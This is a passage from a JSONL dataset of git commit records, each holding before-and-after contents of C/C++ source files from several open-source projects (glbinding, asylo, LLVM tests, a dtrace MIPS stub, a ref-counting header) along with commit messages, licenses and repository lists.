7531\/opencog,Allend575\/opencog,TheNameIsNigel\/opencog,UIKit0\/atomspace,roselleebarle04\/opencog,TheNameIsNigel\/opencog,Allend575\/opencog,zhaozengguang\/opencog,rodsol\/opencog,kinoc\/opencog,Selameab\/atomspace,roselleebarle04\/opencog,AmeBel\/atomspace,Selameab\/opencog,shujingke\/opencog,shujingke\/opencog,gaapt\/opencog,eddiemonroe\/atomspace,eddiemonroe\/opencog,jswiergo\/atomspace,misgeatgit\/opencog,sanuj\/opencog,prateeksaxena2809\/opencog,virneo\/opencog,williampma\/atomspace,misgeatgit\/opencog,ArvinPan\/opencog,tim777z\/opencog,yantrabuddhi\/atomspace,eddiemonroe\/opencog,printedheart\/opencog,sumitsourabh\/opencog,ceefour\/opencog,roselleebarle04\/opencog,ceefour\/atomspace,printedheart\/atomspace,sumitsourabh\/opencog,inflector\/opencog,inflector\/atomspace,williampma\/atomspace,tim777z\/opencog,cosmoharrigan\/opencog,andre-senna\/opencog,inflector\/atomspace,anitzkin\/opencog,sanuj\/opencog,kinoc\/opencog,kinoc\/opencog,cosmoharrigan\/opencog,rodsol\/atomspace,ruiting\/opencog,AmeBel\/atomspace,Selameab\/opencog,ArvinPan\/opencog,sanuj\/opencog,misgeatgit\/atomspace,roselleebarle04\/opencog,rodsol\/opencog,Selameab\/atomspace,inflector\/opencog,anitzkin\/opencog,yantrabuddhi\/opencog,ceefour\/atomspace,ruiting\/opencog,AmeBel\/opencog,rodsol\/opencog,iAMr00t\/opencog,eddiemonroe\/opencog,printedheart\/opencog,sumitsourabh\/opencog,williampma\/opencog,williampma\/opencog,virneo\/atomspace,rTreutlein\/atomspace,shujingke\/opencog,roselleebarle04\/opencog,ceefour\/atomspace,williampma\/opencog,ceefour\/opencog,AmeBel\/opencog,eddiemonroe\/opencog,cosmoharrigan\/opencog,Allend575\/opencog,virneo\/opencog,anitzkin\/opencog,gavrieltal\/opencog,TheNameIsNigel\/opencog,eddiemonroe\/opencog,prateeksaxena2809\/opencog,gavrieltal\/opencog,Tiggels\/opencog,Tiggels\/opencog,iAMr00t\/opencog,rodsol\/opencog,virneo\/atomspace,ArvinPan\/atomspace,ruiting\/opencog,zhaozengguang\/opencog,rodsol\/atomspace,kim135797531\/opencog,ArvinPan\/atomspace,andre-senna\/opencog,gavrieltal\/opencog,andre-senna\/opencog,prateeksaxena2809\/opencog,Selameab\/opencog,virneo\/opencog,sumitsourabh\/opencog,tim777z\/opencog,williampma\/atomspace,gavrieltal\/opencog,ceefour\/opencog,inflector\/opencog,eddiemonroe\/opencog,kinoc\/opencog,tim777z\/opencog,printedheart\/atomspace,Selameab\/opencog,AmeBel\/opencog,rTreutlein\/atomspace,Selameab\/opencog,rTreutlein\/atomspace,kinoc\/opencog,prateeksaxena2809\/opencog,williampma\/opencog,Allend575\/opencog,ArvinPan\/atomspace,roselleebarle04\/opencog,inflector\/atomspace,AmeBel\/atomspace,misgeatgit\/opencog,rohit12\/atomspace,sanuj\/opencog,ceefour\/opencog,jlegendary\/opencog,misgeatgit\/atomspace,jlegendary\/opencog,MarcosPividori\/atomspace,Tiggels\/opencog,ruiting\/opencog,rohit12\/opencog,zhaozengguang\/opencog,inflector\/opencog,misgeatgit\/atomspace,kim135797531\/opencog,gaapt\/opencog,Selameab\/atomspace,Allend575\/opencog,cosmoharrigan\/opencog,zhaozengguang\/opencog,AmeBel\/opencog,printedheart\/opencog,prateeksaxena2809\/opencog,jlegendary\/opencog,AmeBel\/opencog,AmeBel\/atomspace,ceefour\/opencog,AmeBel\/atomspace,inflector\/opencog,williampma\/opencog,iAMr00t\/opencog,ArvinPan\/opencog,kim135797531\/opencog,anitzkin\/opencog,rodsol\/opencog,roselleebarle04\/opencog,yantrabuddhi\/opencog,rohit12\/atomspace,yantrabuddhi\/opencog,ruiting\/opencog,gavrieltal\/opencog,kinoc\/opencog,ceefour\/opencog,cosmoharrigan\/atomspace,inflector\/opencog,inflector\/atomspace,Tiggels\/opencog,yantrabuddhi\/opencog,misgeatgit\/opencog,Selameab\/opencog,prateeksaxena2809\/opencog,printedheart\/opencog,rohit12\/opencog,zhaozengguang\/opencog,virneo\/atomspace,rohit12\/atomspace,misgeatgit\/opencog,iAMr00t\/opencog,misgeatgit\/opencog,cosmoharrigan\/atomspace,eddiemonroe\/atomspace,AmeBel\/opencog,UIKit0\/atomspace,jswiergo\/atomspace,rodsol\/atomspace,anitzkin\/opencog,gavrieltal\/opencog,rTreutlein\/atomspace,iAMr00t\/opencog,misgeatgit\/opencog,rTreutlein\/atomspace,andre-senna\/opencog,rohit12\/atomspace,sumitsourabh\/opencog,rohit12\/opencog,virneo\/atomspace"}
{"commit":"0343c07262e1334e296850aee21f6702b13233e0","old_file":"SearchResultsView\/WindowClassHolder.h","new_file":"SearchResultsView\/WindowClassHolder.h","old_contents":"#pragma once\n\nclass WindowClassHolder\n{\nprivate:\n\tATOM m_WindowClass;\n\npublic:\n\tWindowClassHolder() :\n\t\tm_WindowClass(0)\n\t{\n\t}\n\n\tWindowClassHolder(ATOM windowClass) :\n\t\tm_WindowClass(windowClass)\n\t{\n\t}\n\n\tWindowClassHolder& operator=(ATOM windowClass)\n\t{\n\t\tif (m_WindowClass != 0)\n\t\t\tUnregisterClassW(*this, GetModuleHandleW(nullptr));\n\n\t\tm_WindowClass = windowClass;\n\t\treturn *this;\n\t}\n\n\tWindowClassHolder(const WindowClassHolder&) = delete;\n\tWindowClassHolder& operator=(const WindowClassHolder&) = delete;\n\n\tinline operator ATOM() const\n\t{\n\t\treturn m_WindowClass;\n\t}\n\n\tinline operator const wchar_t*() const\n\t{\n\t\treturn reinterpret_cast<const wchar_t*>(m_WindowClass);\n\t}\n};","new_contents":"#pragma once\n\nclass WindowClassHolder\n{\nprivate:\n\tATOM m_WindowClass;\n\npublic:\n\tWindowClassHolder() :\n\t\tm_WindowClass(0)\n\t{\n\t}\n\n\tWindowClassHolder(ATOM windowClass) :\n\t\tm_WindowClass(windowClass)\n\t{\n\t}\n\n\t~WindowClassHolder()\n\t{\n\t\tif (m_WindowClass != 0)\n\t\t\tUnregisterClassW(*this, GetModuleHandleW(nullptr));\n\t}\n\n\tWindowClassHolder& operator=(ATOM windowClass)\n\t{\n\t\tthis->~WindowClassHolder();\n\t\tm_WindowClass = windowClass;\n\t\treturn *this;\n\t}\n\n\tWindowClassHolder(const WindowClassHolder&) = delete;\n\tWindowClassHolder& operator=(const WindowClassHolder&) = delete;\n\n\tinline operator ATOM() const\n\t{\n\t\treturn m_WindowClass;\n\t}\n\n\tinline operator const wchar_t*() const\n\t{\n\t\treturn reinterpret_cast<const wchar_t*>(m_WindowClass);\n\t}\n};","subject":"Fix WindowsClassHolder destructor doing nothing.","message":"Fix WindowsClassHolder destructor doing nothing.\n","lang":"C","license":"mit","repos":"TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch"}
{"commit":"789abe81157c63e6893b89f9c6f249f27d7286cd","old_file":"include\/nekit\/transport\/listener_interface.h","new_file":"include\/nekit\/transport\/listener_interface.h","old_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <functional>\n#include <memory>\n#include <system_error>\n\n#include \"connection_interface.h\"\n\nnamespace nekit {\nnamespace transport {\nclass ListenerInterface {\n public:\n  virtual ~ListenerInterface() = default;\n\n  using EventHandler = std::function<void(\n      std::unique_ptr<ConnectionInterface>&&, std::error_code)>;\n  virtual void Accept(EventHandler&&);\n};\n}  \/\/ namespace transport\n}  \/\/ namespace nekit\n","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <functional>\n#include <memory>\n#include <system_error>\n\n#include \"connection_interface.h\"\n\nnamespace nekit {\nnamespace transport {\nclass ListenerInterface {\n public:\n  virtual ~ListenerInterface() = default;\n\n  using EventHandler = std::function<void(\n      std::unique_ptr<ConnectionInterface>&&, std::error_code)>;\n  virtual void Accept(EventHandler&&) = 0;\n};\n}  \/\/ namespace transport\n}  \/\/ namespace nekit\n","subject":"Add missing mark for pure virtual method","message":"FIX: Add missing mark for pure virtual method\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"4ba9ea887633b3783bd86aae9da2a35bcd25bffd","old_file":"src\/sw\/siagen\/siagen.h","new_file":"src\/sw\/siagen\/siagen.h","old_contents":"#ifndef MIAOW_SIAGEN_H\n#define MIAOW_SIAGEN_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include \"asm.h\"\n#include \"helper.h\"\n\n#define MAX_INSTR 1000\n#define MAX_OPS 50\n\n#define INSTR_TYPES 4\n\n#define SCALAR_ALU 0\n#define VECTOR_ALU 1\n#define SCALAR_MEM 2\n#define VECTOR_MEM 3\n\ntypedef void(*instr_function)(int);\n\ntypedef struct _instr\n{\n\tint opcode;\n\tchar op_str[30];\n} Instr;\n\ntypedef struct _instr_sel \n{\n\tenum si_fmt_enum instr_type;\n\tInstr instr;\n    instr_function instr_func;\n} Instr_Sel;\n\nvoid initializeInstrArr(int *arr, int array_size);\nvoid printInstrsInArray(int arr[MAX_INSTR]);\nvoid printAllUnitTests();\n\n#endif\n","new_contents":"#ifndef MIAOW_SIAGEN_H\n#define MIAOW_SIAGEN_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <string>\n#include \"asm.h\"\n#include \"helper.h\"\n\n#define MAX_INSTR 1000\n#define MAX_OPS 50\n\n#define INSTR_TYPES 4\n\n#define SCALAR_ALU 0\n#define VECTOR_ALU 1\n#define SCALAR_MEM 2\n#define VECTOR_MEM 3\n\ntypedef void(*instr_function)(int);\n\ntypedef struct _instr\n{\n\tint opcode;\n\tstd::string op_str;\n} Instr;\n\ntypedef struct _instr_sel \n{\n\tenum si_fmt_enum instr_type;\n\tInstr instr;\n    instr_function instr_func;\n} Instr_Sel;\n\nvoid initializeInstrArr(int *arr, int array_size);\nvoid printInstrsInArray(int arr[MAX_INSTR]);\nvoid printAllUnitTests();\n\n#endif\n","subject":"Fix build on Linux where gcc apparently enforces character arrays as arrays for initialization purposes.","message":"Fix build on Linux where gcc apparently enforces character arrays as arrays for initialization purposes.\n","lang":"C","license":"bsd-3-clause","repos":"VerticalResearchGroup\/miaow,VerticalResearchGroup\/miaow,VerticalResearchGroup\/miaow,VerticalResearchGroup\/miaow"}
{"commit":"0212bc7e650e26838796be41f161b5711d502066","old_file":"source\/glbinding\/include\/glbinding\/callbacks.h","new_file":"source\/glbinding\/include\/glbinding\/callbacks.h","old_contents":"#pragma once\n\n#include <glbinding\/glbinding_api.h>\n\n#include <set>\n#include <vector>\n#include <functional>\n\nnamespace glbinding \n{\n\nclass AbstractFunction;\nclass AbstractValue;\n\nstruct GLBINDING_API FunctionCall\n{\n    FunctionCall(const AbstractFunction * _function);\n    ~FunctionCall();\n\n    FunctionCall & operator=(const FunctionCall &) = delete;\n\n    const AbstractFunction & function;\n\n    std::vector<AbstractValue *> parameters;\n    AbstractValue * returnValue;\n};\n\nenum class CallbackMask : unsigned char\n{\n    None        = 0x00,\n    Unresolved  = 0x01,\n    Before      = 0x02,\n    After       = 0x04,\n    Parameters  = 0x08,\n    ReturnValue = 0x10,\n    ParametersAndReturnValue = Parameters | ReturnValue,\n    BeforeAndAfter = Before | After\n};\n\nGLBINDING_API CallbackMask operator|(CallbackMask a, CallbackMask b);\n\nGLBINDING_API void setCallbackMask(CallbackMask mask);\nGLBINDING_API void setCallbackMaskExcept(CallbackMask mask, const std::set<std::string> & blackList);\n\n\nusing SimpleFunctionCallback = std::function<void(const AbstractFunction &)>;\nusing FunctionCallback = std::function<void(const FunctionCall &)>;\n\nGLBINDING_API void setUnresolvedCallback(SimpleFunctionCallback callback);\n\nGLBINDING_API void setBeforeCallback(FunctionCallback callback);\nGLBINDING_API void setAfterCallback(FunctionCallback callback);\n\n} \/\/ namespace glbinding\n","new_contents":"#pragma once\n\n#include <glbinding\/glbinding_api.h>\n\n#include <set>\n#include <vector>\n#include <functional>\n#include <string>\n\nnamespace glbinding \n{\n\nclass AbstractFunction;\nclass AbstractValue;\n\nstruct GLBINDING_API FunctionCall\n{\n    FunctionCall(const AbstractFunction * _function);\n    ~FunctionCall();\n\n    FunctionCall & operator=(const FunctionCall &) = delete;\n\n    const AbstractFunction & function;\n\n    std::vector<AbstractValue *> parameters;\n    AbstractValue * returnValue;\n};\n\nenum class CallbackMask : unsigned char\n{\n    None        = 0x00,\n    Unresolved  = 0x01,\n    Before      = 0x02,\n    After       = 0x04,\n    Parameters  = 0x08,\n    ReturnValue = 0x10,\n    ParametersAndReturnValue = Parameters | ReturnValue,\n    BeforeAndAfter = Before | After\n};\n\nGLBINDING_API CallbackMask operator|(CallbackMask a, CallbackMask b);\n\nGLBINDING_API void setCallbackMask(CallbackMask mask);\nGLBINDING_API void setCallbackMaskExcept(CallbackMask mask, const std::set<std::string> & blackList);\n\n\nusing SimpleFunctionCallback = std::function<void(const AbstractFunction &)>;\nusing FunctionCallback = std::function<void(const FunctionCall &)>;\n\nGLBINDING_API void setUnresolvedCallback(SimpleFunctionCallback callback);\n\nGLBINDING_API void setBeforeCallback(FunctionCallback callback);\nGLBINDING_API void setAfterCallback(FunctionCallback callback);\n\n} \/\/ namespace glbinding\n","subject":"Fix compilation for gcc 4.7","message":"Fix compilation for gcc 4.7\n","lang":"C","license":"mit","repos":"hpi-r2d2\/glbinding,j-o\/glbinding,hpicgs\/glbinding,hpicgs\/glbinding,mcleary\/glbinding,mcleary\/glbinding,mcleary\/glbinding,hpicgs\/glbinding,j-o\/glbinding,j-o\/glbinding,cginternals\/glbinding,hpi-r2d2\/glbinding,cginternals\/glbinding,hpicgs\/glbinding,hpi-r2d2\/glbinding,j-o\/glbinding,mcleary\/glbinding,hpi-r2d2\/glbinding"}
{"commit":"f649dac8e0fa6e0a1db57e68ce7d664ddba8e053","old_file":"asylo\/platform\/posix\/include\/sys\/un.h","new_file":"asylo\/platform\/posix\/include\/sys\/un.h","old_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n\n#include <sys\/cdefs.h>\n\nstruct sockaddr_un {\n  uint16_t sun_family;\n  char sun_path[108];\n};\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n","new_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n\n#include <stdint.h>\n#include <sys\/cdefs.h>\n\nstruct sockaddr_un {\n  uint16_t sun_family;\n  char sun_path[108];\n};\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_SYS_UN_H_\n","subject":"Add missing include needed to define uint16_t","message":"Add missing include needed to define uint16_t\n\nPiperOrigin-RevId: 228541302\n","lang":"C","license":"apache-2.0","repos":"google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo"}
{"commit":"f8d49e58c5e5293268574379cad058551f971ddd","old_file":"tests\/regression\/36-apron\/68-pfscan-workers-strengthening.c","new_file":"tests\/regression\/36-apron\/68-pfscan-workers-strengthening.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.apron.privatization mutex-meet --set sem.int.signed_overflow assume_none --enable ana.apron.strengthening\n\/\/ minimized pfscan with relational workers invariant\n\/\/ mutex-meet: needs strengthening even with path_sens threadflag\n\/\/ mutex-meet-tid: doesn't need strengthening\n\/\/ needs assume_none to avoid top via some lost upper bounds\n#include <pthread.h>\n\nstruct __anonstruct_PQUEUE_63 {\n   pthread_mutex_t mtx ;\n   pthread_cond_t less ;\n};\ntypedef struct __anonstruct_PQUEUE_63 PQUEUE;\n\nint nworkers  =    0;\nint aworkers  =    0;\npthread_mutex_t aworker_lock = PTHREAD_MUTEX_INITIALIZER;\nPQUEUE pqb  ;\n\nvoid *worker(void *arg)\n{\n  pthread_mutex_lock(& aworker_lock);\n  aworkers --;\n  assert(aworkers <= nworkers);\n  pthread_mutex_unlock(& aworker_lock);\n  return NULL;\n}\n\nint main()\n{\n  int r ; \/\/ rand\n  pthread_t tid ;\n  nworkers = r;\n  aworkers = nworkers;\n\n  for (int j = 0; j < nworkers; j++)\n    pthread_create(& tid, NULL, & worker, NULL);\n\n  while (1) {\n    pthread_cond_wait(&pqb.less, &pqb.mtx); \/\/ some weirdness that exposes the problem\n  }\n\n  return 0;\n}\n","subject":"Add minimized pfscan workers test","message":"Add minimized pfscan workers test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4fc2b73eb3053f687f4b72adb1c97b0e53283322","old_file":"test\/FrontendC\/2006-01-16-BitCountIntrinsicsUnsigned.c","new_file":"test\/FrontendC\/2006-01-16-BitCountIntrinsicsUnsigned.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {llvm.ctlz.i32( i32} | count 2\n\/\/ RUN: %llvmgcc -S %s -o - | grep {llvm.ctlz.i32(i32} | count 1\n\nunsigned t2(unsigned X) {\n  return __builtin_clz(X);\n}\nint t1(int X) {\n  return __builtin_clz(X);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {llvm.ctlz.i32(i32} | count 2\n\/\/ RUN: %llvmgcc -S %s -o - | grep {llvm.ctlz.i32(i32} | count 1\n\nunsigned t2(unsigned X) {\n  return __builtin_clz(X);\n}\nint t1(int X) {\n  return __builtin_clz(X);\n}\n","subject":"Remove space that was forgotten.`","message":"Remove space that was forgotten.`\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@56240 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"93809282b9e5f64dcaaf3f195c243154cf17d159","old_file":"cddl\/contrib\/opensolaris\/lib\/libdtrace\/mips\/dt_isadep.c","new_file":"cddl\/contrib\/opensolaris\/lib\/libdtrace\/mips\/dt_isadep.c","old_contents":"","new_contents":"\/*\n * CDDL HEADER START\n *\n * The contents of this file are subject to the terms of the\n * Common Development and Distribution License, Version 1.0 only\n * (the \"License\").  You may not use this file except in compliance\n * with the License.\n *\n * You can obtain a copy of the license at usr\/src\/OPENSOLARIS.LICENSE\n * or http:\/\/www.opensolaris.org\/os\/licensing.\n * See the License for the specific language governing permissions\n * and limitations under the License.\n *\n * When distributing Covered Code, include this CDDL HEADER in each\n * file and include the License file at usr\/src\/OPENSOLARIS.LICENSE.\n * If applicable, add the following below this CDDL HEADER, with the\n * fields enclosed by brackets \"[]\" replaced with your own identifying\n * information: Portions Copyright [yyyy] [name of copyright owner]\n *\n * CDDL HEADER END\n *\/\n\/*\n * Copyright 2005 Sun Microsystems, Inc.  All rights reserved.\n * Use is subject to license terms.\n *\/\n\n#pragma ident\t\"%Z%%M%\t%I%\t%E% SMI\"\n\n#include <stdlib.h>\n#include <assert.h>\n#include <errno.h>\n#include <string.h>\n#include <libgen.h>\n\n#include <dt_impl.h>\n#include <dt_pid.h>\n\n\/*ARGSUSED*\/\nint\ndt_pid_create_entry_probe(struct ps_prochandle *P, dtrace_hdl_t *dtp,\n    fasttrap_probe_spec_t *ftp, const GElf_Sym *symp)\n{\n\n\tdt_dprintf(\"%s: unimplemented\\n\", __func__);\n\treturn (DT_PROC_ERR);\n}\n\nint\ndt_pid_create_return_probe(struct ps_prochandle *P, dtrace_hdl_t *dtp,\n    fasttrap_probe_spec_t *ftp, const GElf_Sym *symp, uint64_t *stret)\n{\n\n\tdt_dprintf(\"%s: unimplemented\\n\", __func__);\n\treturn (DT_PROC_ERR);\n}\n\n\/*ARGSUSED*\/\nint\ndt_pid_create_offset_probe(struct ps_prochandle *P, dtrace_hdl_t *dtp,\n    fasttrap_probe_spec_t *ftp, const GElf_Sym *symp, ulong_t off)\n{\n\n\tdt_dprintf(\"%s: unimplemented\\n\", __func__);\n\treturn (DT_PROC_ERR);\n}\n\n\/*ARGSUSED*\/\nint\ndt_pid_create_glob_offset_probes(struct ps_prochandle *P, dtrace_hdl_t *dtp,\n    fasttrap_probe_spec_t *ftp, const GElf_Sym *symp, const char *pattern)\n{\n\n\tdt_dprintf(\"%s: unimplemented\\n\", __func__);\n\treturn (DT_PROC_ERR);\n}\n","subject":"Add stub file for pid probe. It's required although pid probe is not supported on MIPS yet","message":"Add stub file for pid probe. It's required although pid probe is not supported\non MIPS yet\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"0792e5040a588b10486cbb3c6e725e6e4c5012a0","old_file":"include\/nucleus\/RefCounted.h","new_file":"include\/nucleus\/RefCounted.h","old_contents":"\n#ifndef NUCLEUS_MEMORY_REF_COUNTED_H_\n#define NUCLEUS_MEMORY_REF_COUNTED_H_\n\n#include <atomic>\n\n#include \"nucleus\/Macros.h\"\n\nnamespace nu {\n\nnamespace detail {\n\nclass RefCountedBase {\npublic:\n  bool hasOneRef() const {\n    return m_refCount.load(std::memory_order_release) == 1;\n  }\n\n  void addRef() const {\n    m_refCount.fetch_add(1, std::memory_order_relaxed);\n  }\n\n  bool release() const {\n    return m_refCount.fetch_sub(1, std::memory_order_release);\n  }\n\nprotected:\n  RefCountedBase() = default;\n  ~RefCountedBase() = default;\n\n  COPY_DELETE(RefCountedBase);\n  MOVE_DELETE(RefCountedBase);\n\nprivate:\n  mutable std::atomic<USize> m_refCount{};\n};\n\ntemplate <typename T>\nstruct DefaultRefCountedTraits {\n  static void destruct(const T*) {}\n};\n\n}  \/\/ namespace detail\n\ntemplate <typename T, typename Traits = detail::DefaultRefCountedTraits<T>>\nclass RefCounted : public detail::RefCountedBase {\npublic:\n  void addRef() const {\n    detail::RefCountedBase::addRef();\n  }\n\n  void release() const {\n    if (detail::RefCountedBase::release()) {\n      Traits::destruct(static_cast<const T*>(this));\n    }\n  }\n};\n\n}  \/\/ namespace nu\n\n#endif  \/\/ NUCLEUS_MEMORY_REF_COUNTED_H_\n","new_contents":"\n#ifndef NUCLEUS_MEMORY_REF_COUNTED_H_\n#define NUCLEUS_MEMORY_REF_COUNTED_H_\n\n#include <atomic>\n\n#include \"nucleus\/Macros.h\"\n\nnamespace nu {\n\nnamespace detail {\n\nclass RefCountedBase {\npublic:\n  COPY_DELETE(RefCountedBase);\n  MOVE_DELETE(RefCountedBase);\n\n  bool hasOneRef() const {\n    return m_refCount.load(std::memory_order_release) == 1;\n  }\n\n  void addRef() const {\n    m_refCount.fetch_add(1, std::memory_order_relaxed);\n  }\n\n  bool release() const {\n    return m_refCount.fetch_sub(1, std::memory_order_release) == 1;\n  }\n\nprotected:\n  RefCountedBase() = default;\n  ~RefCountedBase() = default;\n\nprivate:\n  mutable std::atomic<USize> m_refCount{};\n};\n\ntemplate <typename T>\nstruct DefaultRefCountedTraits {\n  static void destruct(const T*) {}\n};\n\n}  \/\/ namespace detail\n\ntemplate <typename T, typename Traits = detail::DefaultRefCountedTraits<T>>\nclass RefCounted : public detail::RefCountedBase {\npublic:\n  void addRef() const {\n    detail::RefCountedBase::addRef();\n  }\n\n  void release() const {\n    if (detail::RefCountedBase::release()) {\n      Traits::destruct(static_cast<const T*>(this));\n    }\n  }\n};\n\n}  \/\/ namespace nu\n\n#endif  \/\/ NUCLEUS_MEMORY_REF_COUNTED_H_\n","subject":"Fix bug in ref counting","message":"Fix bug in ref counting\n","lang":"C","license":"unknown","repos":"tiaanl\/nucleus,fizixx\/nucleus"}
{"commit":"4234d6329ed88911138b4db6a092239c7bb85417","old_file":"AppFactory\/Core\/Class\/Libs\/BlocksKit\/BlocksKit+MessageUI.h","new_file":"AppFactory\/Core\/Class\/Libs\/BlocksKit\/BlocksKit+MessageUI.h","old_contents":"\/\/\n\/\/  BlocksKit+MessageUI\n\/\/\n\/\/  The Objective-C block utilities you always wish you had.\n\/\/\n\/\/  Copyright (c) 2011-2012, 2013-2014 Zachary Waldowski\n\/\/  Copyright (c) 2012-2013 Pandamonia LLC\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 